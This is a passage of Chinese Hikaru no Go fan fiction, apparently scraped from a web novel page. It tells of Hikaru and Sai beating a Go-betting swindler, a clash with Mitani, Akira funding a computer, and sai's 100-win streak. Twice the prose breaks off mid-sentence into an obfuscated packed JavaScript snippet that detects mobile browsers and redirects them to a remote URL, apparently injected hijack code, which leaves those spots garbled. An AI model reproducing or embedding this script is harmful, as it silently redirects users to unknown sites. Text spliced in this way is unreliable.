首先,这小鬼是哪里来的人?为什么知道他爱赌棋?对自己的棋力又有多少自信?才能提出这种风险极高的赌注?其次,他真的拿得出这么大一笔钱么?看他的打扮不太像个有钱人,可一般的小孩也不可能这么自然地撒谎,撒谎总得有目的,他开这么疯狂的赌注的目的是什么?只是为了体验刺激吗? 察觉到他的迟疑,光熟练地开始火上浇油:“如果没有信心,不加码也行,只不过最后赢的就只有桌上这1000日元了。” 说着,光摁住两枚硬币,往前推了十公分。 这两个小小的硬币板寸男确实看不上。不过,只要翻倍个四五次……就是绝对的大金额了。 至少足够他在外面花天酒地一番。 ●○●○ 34.Chapter 33. 欺诈师反被诈 板寸男转了转眼珠子。只差临门一脚了,光看准他在心动,用一个夸张的反问句怼了回去:“不说话?看来你是怕了我这个小学生,已经在想要是自己输了该怎么办了?” 板寸男不怒反笑。 “哈哈!小鬼,我丑话放在前头,就算你是小学生,如果赌输了,这钱我可是也会一分不少地要回来的。不管以什么样的‘手段’。”他阴险的笑容之下藏着锋利的暗礁,稍有不慎,就会扎穿踩到它的人的双脚,光想再说句什么,却被他敲打桌面的手指堵了回去,“——现在后悔还来得及,乖乖向我道歉,我可以当做什么也没发生过。我这个人最大的优点就是宽宏大度,不跟小孩一般计较。” 中年老油条的威吓气势,碾压一个毫无社会阅历的小学生并不困难。事实上,许多小学生都容易害怕成年人的威胁,才助长了这些年猖獗的对未成年人犯罪事件,例如抢劫或性侵。板寸男也是真有手段,他混在道上,自然通晓催债和恐吓的技巧。 但光可不是毫无社会阅历的小学生。 他笑眯眯地保持着原来的坐姿,催促道:“你的1000日元呢?先拿出来吧。后面加不加码另算。” 一点也不为所动。 “哼。有点意思。”板寸男用力按下了烟灰缸里的烟头,“既然你这么有自信,那我也不介意陪你玩玩。输了可别哭鼻子啊!” “乐意奉陪!” 两人互相放了狠话,便不约而同地抓起了棋子。 都赌棋了,肯定不会是让子棋,光猜对了板寸男手中的棋子的数量,于是将黑棋棋罐挪到自己面前。黑棋吗,果然这一局注定就该交给佐为来下,毕竟他就是执黑不败的传说本人啊。 “我们上!佐为!” “了解!” 佐为瞬间切换为备战状态,气势雄浑地举起了手中的折扇。 “第一手,右上角十七之四,小目!” 前所未有的巨大赌注让老修的地下围棋会所掀起了一阵议论。本来这里就建在地下,很少有年轻人愿意过来,像光这样的小学生更是寥寥无几,这阵子也就只有三谷佑辉一个小孩来过几次,而敢向一看就不好惹的板寸男发起挑战的小孩就更不可能存在了。 老修知道三谷也赌棋,还会在整地的时候耍小花招,但他赌的都是小金额,顶多一两千日元,大家都当是宠爱孙子一样宠着他,也就由他去了。 可这孩子却直接上杠杆!要是输惨了,会血本无归的啊! 老修充满不安地看着进藤光的背影。光本人倒是很习惯这种情况了。只要佐为一出战,就必定成为人群关注的中心。他并不介意顶着围观的视线的压力去下棋,这样反而更好,观众越多,这个骗子不认账的机会就越小。 看到围观群众这么多,板寸男起初还有点疑心。这小鬼该不会是有千分之一的概率在扮猪吃老虎吧? 但看到他稚嫩的拿棋子的手势,板寸男立刻放心地靠回了椅背上。 原来是个新手!第三步就没人会这么下,估计是在家随便学了几手三脚猫的功夫,家里亲戚都让着他,就让他自我感觉良好了。外面的世界可没那么好混啊,小少爷。 板寸男笑着落下了棋子。 布局的手法也这么像初学者,真是可惜。 光的脸上毫无波澜。他知道佐为会如何下这一局,起手阶段一定是会大幅度落后的,又或者说,他只是需要制造出自己落后的“错觉”。 第十手,落子结束。 “感觉还不错,我加码一倍。”光的声音听上去格外自信,“到2000日元。” 板寸男吸了口烟,不紧不慢地问:“确定吗?” “确定。你跟不跟?” “哈哈哈,谁会怕你这种小屁孩?2000就2000!” 板寸男紧接着放下了第十一颗棋子。 棋局依旧在以他理想中的状态延续下去,他自诩见多识广,自身也经常使用故意装弱、引人入局的小伎俩来诈人,但那些伎俩也都需要一个大前提:那就是总体局势要在自己棋力的兜底范围之内。否则一旦装过了头,只会自食其果。 下到第二十手时,他基本可以确定了。 这个小学生已经超出了兜底范围,他绝不可能是故意装弱。 瞧刚刚那颗死缠烂打的臭棋!大势可在另一边,在这里争抢一两粒小芝麻有什么意义? 这次轮到光陷入沉思了。 “嗯……” 板寸男调侃道:“不加了吗。” “我打算再看几手。”光假装犹豫地看着棋盘。 还在计算那几粒小芝麻啊? 板寸男说话的声音都放肆了起来:“那我可就不客气了,我翻倍。现在是4000日元咯。你怎么办?” 他一边体温一边用手指叩击桌面,制造出十分不规律的噪音,以此干扰光的思考。 这也是一种催促的技巧,催急了敌人就会焦躁。一旦急躁,就更容易忽略盘面上本应注意的细节。 “……好吧,我跟。”光十分不情愿地押了上去。 “爽快。” 丢下这句似是而非的赞扬,板寸男愈加铁定了主意要在这场豪赌里获胜。哪怕这小孩付不出钱,也要灭灭他的威风,能榨干多少算多少。他下棋多年,手段阴狠,但棋力不假,一般的会所大叔都不是他的对手,要搞定一个飘飘然的小孩还不是手到擒来? 转眼间局势就来到了第三十手。 布局已经基本完成。看似这小孩也没有落后太多,实际上板寸男很有自信在其后的对杀里抢到七成以上的实地。 小孩就是小孩,以为有一两颗棋子镇守要害,就能掉以轻心了,殊不知关键技巧就是如何把地从人家的地盘里偷出来! 而这不巧正是板寸男的长项。 他在心中偷笑一声,假装自己不小心下错了一步,还发出夸张的“啊”的叫声,看得旁边的人都以为他搞错了位置、气得肠子都悔青了。 “这么好的机会,我可不会放过!”光马上配合地抓住了他的失误,一步向前,“我加到8000日元!” 板寸男连忙抬起双手请求放过。 “等一下!等我再考虑考虑……” “什么啊大叔,你的实力也不过如此吗,白让我期待一场呢。”光喜上眉梢地埋怨了两句,后面落子的速度也逐渐加快,好像不打算留给对手转圜的余地。 板寸男只能露出一副不想丢面子的纠结神情。 “我可没说我不跟!我只是说想多一点时间思考这一手而已!” 说着他装模作样地叹了口气,开始猛猛抽烟。 光则是继续盯着棋盘上那纠缠在一起的棋子,似乎完全不知自己落入了圈套。 “好好好,我不跟你急。时间多的是,大叔你就尽管用吧!” 两人的对弈走到中盘,各方都开始争抢主导权。围观的人们都为进藤光捏了把汗。有人已经看出刚才板寸男是故意在挖坑给他跳,可这小孩居然想都不想就真往里跳!就是阎王来了也救不了他的命啊! 这暗中埋雷的棋步进行到了第四十手。 光稍加思索,就迅速得出了结论:“我加到16000!” “什么?!” 围观群众都震惊了,16000已经不是小数字了,就算是日本正常的工薪族,刚毕业的月薪也就是不到20万日元出头,要是在这里输了,意味着两天给老板打白工!更何况他还是小学生!小学生哪有这么多零花钱?难道他家真的是什么大企业的掌权人? 有人已经忍不住想提醒光有问题了,但板寸男注意到这一点,朝他使了使眼色——“敢说出去,就宰了你”!那人立刻缩回了脖子,屁都不敢放一个。 偏偏光还对状况浑然不觉。 板寸男努力不让自己当场笑出声来。 这小子,难道现在还看不出来自己设了个陷阱吗? ——就在刚刚那一步,你可是笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13357157|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直地踩进了本大爷的圈套啊!连这点形势都判断不了,还敢加码?让我替社会好好教育教育你吧! 抱着一种“为社会做贡献”的美好心态,板寸男笃定地点了点头。 “好。我跟。” 然后落下了后面的一手。 这是改变战局的一手! 到了这一刻,这小孩忽然意识到不对,直接从座位上跳了起来,眼里满是惊愕。 “啊、不好!”他着急地掐着桌面,脸上大汗淋漓,看得出十分后悔,“居然还有这手!啊啊啊我为什么没想到!” 周围起初没看出破绽的的人们这时也都跟着倒吸了一口凉气。确实,乍看是很好的击破白棋棋形的机会,可光深入敌腹之后,在刚才板寸男的妙手之下,只能乖乖等待被宰杀的命运了。居然是个陷阱! “呵呵。”板寸男这时终于可以不憋笑了,他直白地翘起嘴角,道,“那我就不客气了——” 他还故意拖长了最后一个词的尾音,一听就知道是故意的! 消瘦青年绝望地闭上了眼。被骗的人有他一个还不够,又害得这孩子也掉进坑里,他实在看不下去了。果然赌棋什么的就是害人!想下赢这种专门靠赌棋骗人的欺诈师,是不可能的事!是他的错,他不该把这个欺诈师的联系方式告诉光! 而进藤光这边,还在努力说服板寸男改主意。 “等一下!等一下!现在还能后悔吗?” 看他着急得想动手掀桌的样子,板寸男当然是一个白眼甩过去:“你在说什么呢!落子无悔,赌注也一样,下棋的人就该有下棋的觉悟,不是吗。” “呜……” 光的小脸布满了想哭的表情。他最后还是无可奈何地坐了回去,继续下棋。 还没放弃吗,也是,毕竟才下了不到一半呢。他还有大把大把的金钱可以挖掘!每十步就翻倍,这赌注真是选对了!板寸男越下越开心,就这样全面压制着对手,一路杀到了第五十手。 到这里,形势就差不多确定了吧。 “哈哈,这下我赢定了,这里就该……”他自信满满地落下胜负手,用那双阴险的眼睛看着光露出微笑,“我加倍。32000日元。” “……64000日元。” 对面却传来了与方才为止的小孩完全不同的、毫无稚气的沉着的嗓音。 板寸男还以为自己听走神了,仔细一看,确实是进藤光在说话呀。但他为什么一瞬之间整个人的气质都不一样了?简直……就像个成年人一样!前半段感情完全外露的他,心里在想什么都格外好猜,可是现在,这个冷漠无情的语气…… 不可思议的直觉让板寸男马上摆出臭脸,不耐烦地问:“你在说什么?” “没规定一次只能翻一倍吧。我们的约定只是‘每十手可以翻倍’而已。”光却丝毫未被他的威吓影响,“我说64000日元,你还敢跟吗?” 围棋会所一片鸦雀无声。 进藤光只是抛出了这一句话,就让他们惊到说不出来话。 为什么?为什么处于明显劣势的时候他反而要连续加两倍? 这家伙,该不会是用金额在吓退他吧?棋盘上的劣势这么明显了,觉得没戏了,所以该用精神胜利法?还是单纯昏了头? ——也不知道你是哪家的小少爷,既然惹到了本大爷,可别想全身而退! 板寸男从鼻子挤出一声不屑的鄙夷:“好!勇气可嘉,我就跟吧,算是对你这么大胆量的尊重。” 他说得漂亮,可实际上只是放不下这惊人的64000日元而已。 一盘棋就能赚一周的工资,谁不愿意?而且这笔钱还不需要交税! 结束了。光默默这样告诉自己。而后,他对身后的佐为露出了一个大大的、阳光灿烂的笑脸。 “佐为,就是现在!” “知道了!”佐为当机立断,眼神立刻进入反击状态,“十三之十五,断!” ●○●○ 35.Chapter 34. 信我,赌狗只会一无所有 啪—— 棋子落在棋盘上的手势……完全不同了! 一开始还显得很生疏的动作,变成了只有老手才会下得出的动作!流畅又充满震慑力!随着他的每一手,耳边都仿佛有风声在响起! 板寸男难以置信地瞪着棋盘,这家伙怎么会一下子就变了一个人! “咦……”到后面,板寸男已经开始汗流浃背了,“刚才那是……咦?!这不可能!!” 从第五十二手起,一种前所未见的恐怖掌控力席卷了整个棋盘。 那些他以为已经确定的优势,竟然被千奇百怪的攻击一一化解! 他的困惑从“哪里又冒出一个黑棋”,演变为“这两个地方怎么也能连得起来”,再到“明明数好了气却最后莫名其妙短了一口气害得做活失败”,最后变成了嘴唇直哆嗦的混乱如麻! 他不相信!没有人能做到这个地步!除非他是围棋之神下凡!! 这到底是怎么一回事?! “你还要再加码吗,叔叔?”进藤光停顿了一下追杀的脚步,笑嘻嘻地问。 他的笑脸越纯粹,板寸男就越感到自己收到了侮辱。 最后板寸男连装都不装了,直截了当地发起火来:“你、你这个小鬼!你做了什么?你是不是作弊了?!” 光连忙搬出一副委屈的表情。 “怎么可能,这么多人看着呢,我哪里又机会作弊呀?再说了,对付叔叔你这样的对手……我根本不需要作弊就可以赢嘛~” 这句火药味十足的胜利宣言让板寸男脑瓜子嗡嗡乱响。 他只想立刻把脏水泼到对方身上,逃离这噩梦一样的场面,大吼道:“不!这不合理!刚才你还下得乱七八糟!应该是我,明明应该是我拿下这一片实地!你一定是动了什么手脚!我、我要你撤回上一手!你一定是动了哪里的别的棋子!一定是!!” “你怎么张口就来呀……”路人忍不住阴阳怪气起来。 “我们看着呢,他没有耍花招!” 众人议论纷纷,像在谴责他的出离愤怒。 光耸耸肩,道:“承认自己技不如人很困难吗。落子无悔,赌注也一样,下棋的人就该有下棋的觉悟,不是吗。” 他居然敢附属自己之前的台词来羞辱自己!板寸男,愈加火冒三丈。 “你——” 眼看着他要直接扔下棋盘、直接用拳头抡起光痛揍一顿了,围棋会所的主人老修阴沉着脸举起手中的电话,对他发出警告: “太难看了,不要在我的会所里惹事。要么好好下完,要么等我报警,你看着办吧。” 老修的声音不大,却格外有力,他毕竟也是开店做生意的,并非不懂人情世故,能在东京混这么多年,少不了这份与野蛮客人抗衡的老练。如果警察真的来了,赌棋违法为第一,他诈骗为第二,确实是板寸男更不占理。除开这句威胁之外,众人还纷纷在一旁附和“就是就是”、“怎么出尔反尔”,搞得板寸男完全下不了台。 他只能开始耍赖。 “哼,报警就报警!我本来也没有那么多钱给你这种小鬼!” 光假装想起了什么似的指了指旁边的消瘦男人:“真的吗?你不是刚从那个哥哥那边赢了五万日元吗?” 这时板寸男才认出了这张熟悉的脸孔。那不正是今天早上刚被自己骗过的小白鼠吗? 原来如此!原来是这样!明白自己是聪明反被聪明误的板寸男气急败坏,从来只有他骗别人的,怎么可能轮到他被骗? 无法接受现实的他越喊越大声:“你怎么会在这里?好啊,你们联起手来坑我!” “我只不过是以其人之道还其人之身罢了。”光摊开双手表示无辜。 佐为在身后连连点头。 “没错没错!这是你应得的惩罚!” 见板寸男还在抵赖,光在众人的起哄声中学着他之前的动作叩击桌面,催促道:“钱,你当然会付的对吧?赌棋也是讲究原则的嘛,叔叔?” 板寸男指着他的鼻子直接破防了:“你这个满肚子坏水的小混蛋!是谁!是谁指使你这么做的?不,在那之前,你的棋怎么可能下得这么好?!我可是能下过职业二段的人!在赌棋的世界里,我就没输过!” “没输过?看来你是从没正经和会下棋的人对局过啊,什么职业二段多半也是几年都升不了段的那种摸鱼棋手吧。”光好像觉得这个话题十分不可思议,他假装惊讶的样子一看就很浮夸,反而更气人了,“以你这个水平,我就算让你四子,也可以轻松获胜呢。” 板寸男,青筋暴起。 微胖男人连忙跟着一块催促起来:“喂!快点付钱啦!输棋了还想耍赖不认账是吧?” “对啊对啊,快点付钱给他!” “付钱!付钱!” “你们给我——等着瞧!咱们没完!” 脸色铁青的板寸男只能一把甩出钱夹里的信封,放下狠话,转身就走。也不知是因为太愤怒还是太丢脸,他走的时候一次也没回头,马上就消失在了楼梯口。微胖男人还一路追了出去,朝他边做鬼脸边喝倒彩: “别再来了!这里不欢迎你!” 不速之客终于走了。演完一场大戏的进藤光和佐为相互击掌——虽然实际上他们的手并没有碰到——因为这场心惊肉跳的胜利实在太好玩啦! 说实在的,前面努力骗对方上钩反而是最累人的部分,因为这太吃演技了。佐为很惊讶小光能把围棋新手的戏份演得那么好,简直就跟真的一样。 不过,多亏了这份演技,后半途的追赶才显得更有意思。佐为一直在等,要等敌人以为黑棋已经无力回天的时刻再开始反击,这个时机要是弄太早,就赢不回太高金额的钱,要是弄太晚,又容易在反击时翻车。 还好他是佐为,找对要点再狠狠把对方击败一点也不难。 现在的他,心情畅快得像一尘不染的蓝天。 “呼。” 看着佐为开心的样子,光也不自觉露出了笑容。他把信封里的钱清点了一遍,这人还挺好的嘛,居然没有故意少给。要是佐为知道他此刻的想法,肯定会认真纠正他了。 光把其中的五张万元大钞递给了还沉浸在惊讶之中的消瘦男人:“喏,这是你被骗的五万日元。” 他满脸的做梦般的表情。 “……诶?小朋友,你真的要把这么多钱给我吗?” 太神奇了,那种必败无疑的对局,居然还能在后半段翻盘?而且还是在金额膨胀到那么高的数量级之后?这真的只是巧合吗?而且,被骗的钱居然还能找回来之类的……他连做梦也不敢想这种情节啊! 光倒是完全没有犹豫。他强行把钱塞回了消瘦男人手中。 “不过你要答应我,以后不许再赌棋了哦。” “好、好的!我记住了!我真的不会再赌了!我保证!” 消瘦男人反应过来之后,居然捧着失而复得的五万日元嚎啕大哭起来。他的朋友微胖男人一个劲地安慰他,两个人都经历了一场奇特的冒险,此刻内心多种情绪纠缠在一起,实在平静不下来。 光低头看着信封里剩余的纸币,嘴角都快翘上天了。 “那多出来的一万四千,就让我心怀感激地收下吧。”他说罢就准备把钱添加到自己的购置电脑大计之中。 却被一只干练苍老的手一把夺走了信封。 “啊——” 光本想抗议,可他看到手的主人正是满脸严肃的老修,顿时吱不了声。 老修板着脸扬了扬手里的信封,声音依旧是不凌厉却有力:“入场费和秩序维护费,一万四千元,我就拿走了。” “什么?!这也太多了!” “那个人可是和□□有关系的人物,这么点钱能解决你惹的麻烦,已经不错了。小小年纪学不来好,以后可别在我的会所里干这种事,否则我见一次赶一次!”老修毫不客气地把钱塞进了收银机抽屉,又用下一句话转移了光的注意力,“三谷,你也来了啊。你们有约吗?” “三谷???” 进藤光大为震撼。 那熟悉的橙红色头发!确实是三谷没错!原来就在他专心下棋的时候,三谷佑辉已经不声不响地混入了观战人群之中。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13370257|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这么说……三谷岂不是见证了进藤光和人赌棋、反败为胜、但最后钱都被老修没收的全过程? “你认识我?”看到光惊愕的眼神,三谷单手拎着书包,搭在右肩上,他一贯喜欢这种酷酷的姿势,语气也冷淡得看不出情绪,“我可没见过你。” 光只能努力调整语气,使自己别那么虚:“我、我当然认识你!你一直在这个会所里赌棋,对吧?” “你怎么知道的?”三谷果然起了疑心。 这种时候就要用三十六计之转移话题了。 “看了我今天的一局,你还觉得能靠‘那种’手段赚钱吗?” 光有意识地加强了“那种”两个字的重音。 闻言,三谷脸色一沉,拎着书包的手指都不自觉勒紧了皮革带子。 “……你什么意思。”那桀骜不驯的橙色卷毛之下,一双充满敌意的眼睛警告般看着进藤光,“那种手段?我只是普通地和想赌棋的大人对弈而已,钱是他们乐意给的。” 又在狡辩! “胡说!你明明就用了下三滥的手段!我可是见到过的!你趁整地的时候偷偷……唔唔——” 趁光还没有彻底暴露他的禁忌秘密,三谷不由分说捂住这聒噪小学生的嘴,一把将他拖向门口。转头不忘对瞠目结舌的老修补上一句:“不好意思,老板,借他一用。” 三谷拽紧光的衣领,也不知哪来的蛮力,一口气拽他上了昏暗漫长楼梯,来到街道外后,才猛然撒手。 光后退几步,咳嗽着撞上了电话亭。 “你到底想怎样。”三谷的语气已然十分不悦,“偶然见到我动手脚?可你没证据,要挟不了我。” 啪,一只手掌擦过光的左侧脸颊,砸在电话亭的玻璃隔层上。 紧接着那张充满戾气的脸也逼近而来。 见他打算动用暴力,光连忙解释:“我不是想要挟你!我只是想说,赌棋本来就不对!作弊更不对!你明明有下棋的才能,就应该好好发挥,你该去的地方不是这种围棋会所,是围棋部!是围棋大赛!要是努力的话说不定还能考上院生!” 三谷听笑了:“院生?职业围棋吗?别开玩笑了,那种傻子才会做的事,跟我无关。” “你怎么可以说职业棋手是傻子!” 光这句抗议让三谷反而丢掉了戒心。 他故作轻松地掸走肩头的灰尘,从斜下方看着进藤光。 “围棋本来就是赚钱的工具,你刚刚不也在赌棋吗,要是老修不拿走你的钱,你也是打算把多出来的那笔钱据为己有的吧?” “那是……” “半吊子的正义伙伴就别义正辞严了,倒胃口。” 三谷“切”了一声,调头就走。他本来想去围棋会所捞两笔的,没想到今天撞见那么一场离谱的豪赌,还遇到一个不知哪来的小屁孩对自己指指点点、好为人师,大好的心情都耗没了。 但他刚想走两步,就因迎面而来的另一人压倒性的气势,愣在原地。 那是一个留着奇特的墨绿色妹妹头发型、身形并不高大、神情却格外冷漠的同龄少年。他面容俊美,身穿一身用料不菲的高级风衣,走路雷厉风行,脚步迈得快而精准,该说他目中无人呢,还是有的放矢呢——三谷明明是与他擦肩而过,却觉得自己完全没被这人看在眼里。 他直接无视了他。 这人的目标只有一个,就是欲言又止的进藤光。 “进藤。” 塔矢亮只是面无表情地念出了光的名字,就让光一个寒战抖了抖肩。光下意识扶稳了背后的玻璃板。一副猎物躲避狩猎者的局促姿态。 “塔矢?!你你你你你怎么会在这?!” 塔矢?三谷皱眉,他似乎听过这个名字,是围棋很有名的顶级棋手的儿子吧,即使是不关心围棋的人,偶尔也会从塔矢名人得冠的新闻里看到只言片语。 无聊透顶,三谷啧了啧嘴,转身快步离去。 而此刻的亮,心里只装着一个问题。 “赌棋是怎么一回事?” 他的提问简短却极富攻击性。 ●○●○ 36.Chapter 35. sai的100连胜 完蛋!刚刚三谷的话都被他听到了?这得是何等的巧合?! 进藤光整个人都想化成雪水从排水管道里偷偷溜走。 “这个……那个……你听我说……” “赌棋是明令禁止的违规行为,你知道吧。”塔矢亮并不给他溜走的机会,严厉的质问越来越气势汹汹,“冒名顶替参加中学围棋比赛还不够,你一定要违反规则到这个地步才开心吗?!进藤!被父亲知道的话,你就再也不能参加研究会了!院生也——” “我知道!可我也没办法嘛……” 光一秒认怂。 “没办法?什么叫做没办法?!”亮的眸子里已经写满了山雨欲来的愤怒,似乎在说,“你必须给我一个合理的解释”。为钱下棋是他最大的忌讳,怎么偏偏就被他撞上个满怀呢。 光只能苦恼地挠了挠后脑勺。这种时候该怎么办来着,总之先道歉,对,道歉! “哎呀对不啦起塔矢,是我一时头热。我这么做都是有原因的……” 他努力寻找措辞时甚至不敢同时睁开两只眼,只露出一只右眼,悄悄打探着塔矢亮的表情。这家伙,听到“哎呀对不起”的时候,怎么还更生气了呢! “原因?”亮的声音无情到冰点。 “我……我想要一台电脑来下棋,之前在sai那边下网棋的时候,都是我在旁边看他下,看得久了就自己也开始心痒痒……有了电脑,就能和全世界的高手对弈了,这样我的棋就会越下越好了对不对?但是我家里是不可能给我钱的,如果想参加棋赛赢奖金也要等到好久之后,所以我只能自己想点别的路子。你别生气,我这不是最后也一分钱都没赢到嘛。” 光编造了一个半真半假的谎言,抓住路边的黑色铁栏杆,全力倚靠在上面,以免被塔矢亮无形冒出的怒气烫伤。 毕竟涉及钱的事,光也不太好意思厚脸皮。赌棋被抓包也是自己活该,亮怎么骂他都不过分。 出乎意料的是,听完这番解释,亮的态度却转变得格外干脆。 “我还以为是什么大事,你早说便是。” “啊?” “我借你吧,买电脑的钱。” 亮的语气过于平静,光还以为是他没听清楚自己的意思。 他伸出右手请求暂停:“咳咳咳……慢点,这可不是借500日元1000日元,是十几万!我知道你家是很有钱,但塔矢,十几万的巨款,你不回去跟你家老爸商量一下就擅自说要借给外人真的没问题吗?!” 光差点自己把自己呛死。如果真被自己的口水呛死,想来也是前无古人后无来者的奇迹。 亮表现得格外游刃有余。 “没这个必要。我今年拿到的压岁钱还分文未花,既然是跟围棋有关的请求,而且是你的请求,当然不能坐视不理——我可不想等哪天你输给我,还拿‘没条件练棋’当借口。” 光被他说得一愣一愣的,最后还没忘吐槽一句:“你这家伙!帮人忙的时候也这么嘴硬干嘛?!” “你才是,求人帮忙却完全没有该有的态度。”亮可不吃他这套,两人越混越熟,早就不讲究徒有其表的礼貌那套了,他理了理因快步疾走而变乱的衣领,仿佛在说一件理所当然的小事,“17万是吧,明天我带给你。现金可以吗。” “等等!那个啥……塔矢,我可不可以……问你一个问题?” “嗯?” “你一年到底……能收多少压岁钱?” 亮垂眼片刻。“让我想想,今年总共大概有30万……也有可能是40万……进藤?你怎么了?!” 他惊慌失措地看着突然卧倒在地上的进藤光。 对方已经快要气绝身亡了,只剩一只垂死的右手伸向天空:“……塔矢,还好现在是平成,要是放在三百年前,你的压岁钱可以直接把我整个人买走当成仆役……谢谢人人平等的日本宪法第十四条。” “?” 以进藤光贫瘠的知识储备,能吐个这么有文化的槽已经是极限了。塔矢家的富裕就是如此夸张。 一转眼到了第二天晚上,从围棋会所回家的光和佐为在门口遇见了一个陌生的快递员,说是送电脑过来给光的,笑容满面地让他签收。光忍不住戳了戳自己的脸,戳到了,看来是真的;又想戳佐为的脸,没戳到,看来确实是真的。 这么离谱的展开,居然不是梦啊。 一般人会替认识才三个月的小学生朋友买电脑吗? 但他进藤光最大的优点就是——不客气! “塔矢那家伙动作还挺快的嘛,居然直接打电话给电器店下单了,回头得好好感谢他一番。”光抱着这来之不易的大礼,眼珠冒出金光,“这下你终于可以尽情下棋啦,佐为!想下多久下多久!耶!” “电脑?就是在那个店里我们一起下棋的盒子对吧?那个盒子被搬到家里来了吗?” 佐为好奇地戳戳外包装上的条形码,眨眨眼。 “不是那一个,是新的另一个!这样一来我们就能真正足不出户地和世界各地的人们对弈了,连网络咖啡厅都不用去,怎么样,厉害吧?” 光自豪地拍拍纸箱子,笑得十分真切。 收到了礼物,他就完全忘了追问亮为何恰巧出现在老修的围棋会所门口了。可能跟踪狂都带点索敌天赋? 他们在门外的动静让屋里正在煮饭的美津子探出头来,“小光,这里为什么会有这么大的箱子?你买了什么东西回来?” 光马上换上一副乖巧的表情:“呃,这个,没什么,是朋友送我的生日礼物……” “生日礼物?可……你的生日不是在9月吗?” 露馅了。 “这个……那个……总而言之,这是一台电脑,不过真是朋友送的,没有乱花家里的钱,您不必摆出那副天塌下来的神情啦……妈妈,啊,哎……当心盘子!” 说时迟那时快,光提醒的话语终究是慢了一步,美津子手里的瓷盘“哐当”一声掉到地上。 经历千辛万苦总算以磨破嘴皮子为代价说服了父母这台电脑的来源合法之后,光打电话联系了网络公司,隔日他们回来正式让进藤家的电脑入网。买到了新电脑,最兴奋的人却不是佐为,而是进藤光。他几乎亢奋得不想睡觉。 “小光你真的很开心呢……”佐为不解地看着光因激动而涨红的脸颊。 这不是当然的嘛。网上的sai又要称霸世界,这周末就去参加院生考试,和叶濑中的伙伴们也即将碰面,马上就要毕业的小学时光,以及即将开始的职业棋手生涯……重新活一回,感觉生命都变得更加色彩缤纷了。想到这里,光只觉摩拳擦掌跃跃欲试。 “佐为,我们来下棋吧。”然后他干脆从床上翻了起来。 “嗯!下棋!下棋!” 夜色渐深,窗前的二人全神贯注的神态仿佛让世界都为之动容。 此时,路过进藤家楼下的藤崎明瞥见光的房间里安静的灯光,嘴角也泛起了柔和的笑意。 “小光你一定在努力吧……” 那个叫嚣着会成为职业棋士的少年,终究是改变了很多很多。望着他的背影,藤崎明常常觉得,说不定自己也可以成为一个优秀的棋手,那样就能和他站在同一个世界,看到同样的景色。 一直以来都是青梅竹马的玩伴,她不甘心就这样被光抛在身后,也不想否定自己心底的好奇和向往。 她咬了咬下嘴唇,决定过几天就去白川先生的围棋道场报个进阶课程。她想知道,为什么光会如此深爱着围棋。 想知道自己能学习的极限,究竟在哪里。 “我也会加油的。” ——这是我一个人的约定哦,小光。 翌日清晨,喜气洋洋的进藤家。 赌棋风波结束之后,周围的生活恢复了往常的平静无波,只要坐等院生考试到来就行了,至少在进藤光打开那日出版的围棋周刊前是那样。 他原本困倦无神的双眼在接触到报纸第一页的大标题时迸发出异常闪亮的光芒,嘴里刚喝下的牛奶就这样毫无征兆地喷薄而出。 “噗——” “小光!认真吃饭!”美津子埋怨地用筷子敲敲桌面,示意他盯好自己面前的鸡蛋。 进藤光黑线着擦干嘴角:“是。” “……怎么了?” 佐为好奇不已地凑近光,一眼就看到了首页醒目的几个黑色加粗大艺术字。 《网络围棋神秘高手sai连胜100局!塔矢名人称实力相当!》 这下他也没法淡然了,直接变身小精灵,喜笑颜开地围着光打转:“小光!小光!这是在说我吗?” 进藤光还没从震惊里缓过神来,过去的日子里他几乎每天都会让佐为在网上下几盘,一来二去,竟然已经连胜100回了?真是值得纪念……不不不,重点不对,应该说来自古代的佐为登上了大名鼎鼎的围棋周刊这件事,实在是太神奇了! 一种久违的青涩激动感充斥着光的脉搏,他连忙摊开报纸,快速地浏览下去。 【两个月前,在年轻人之中流行一时的围棋网上出现了一名神秘高手,昵称为sai。sai频繁活跃于网路棋战,至本刊定稿日为止已取得了可怕的100局连胜纪录。虽然只是一名真实身份不详的迷之棋士,sai却创造了许许多多精彩绝伦的棋局,其中有不少值得探讨的棋路新创举。塔矢名人在研究这些棋谱后称“与我实力相当,甚至可能技高一筹”,下面就让我们来共同鉴赏这位实力堪比四冠王的sai最为著名的几局激战吧!】 然后可以看到的内容便是佐为下的几局棋谱的分析说明,无一不在表示称赞,洋洋洒洒写了两整版,看得光热血沸腾。 不过,其中有几局的解析怎么看着有点印象? 光马上翻到了署名处。果不其然!联合作者之一就是那个久原木子郎! 怎么哪里都是他!13岁就能参加《围棋周刊》的供稿,看来他在这方面确实有点天赋。没想到他一直还在持续关注sai,也是,佐为那么俊丽的棋风,爱棋者谁看了不犯迷糊。 “诶嘿嘿……你挺厉害的嘛,都被塔矢名人认可了,对吧,佐为?” “诶嘿嘿……也没有那么厉害啦!” 佐为得到心中认定的对手的赞许,心潮澎湃得紧,正笑成一朵花儿地跑来跑去。 “但是,这样就够了吗?”光突然问。 “诶?”佐为不解地看着他。 进藤光紧 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“啰嗦啦!我只比你弱一点点!什么叫做躲在你的阴影里啊佐为?”光毫不示弱地反驳了回去。 “那不就是了。我们是最好的伙伴呀,小光。”佐为拿扇子轻轻敲着光的上额,严肃地点点头,“所以说,谁也没有躲在谁的阴影里!” 唔。这是佐为特有的安慰人的方法吗? 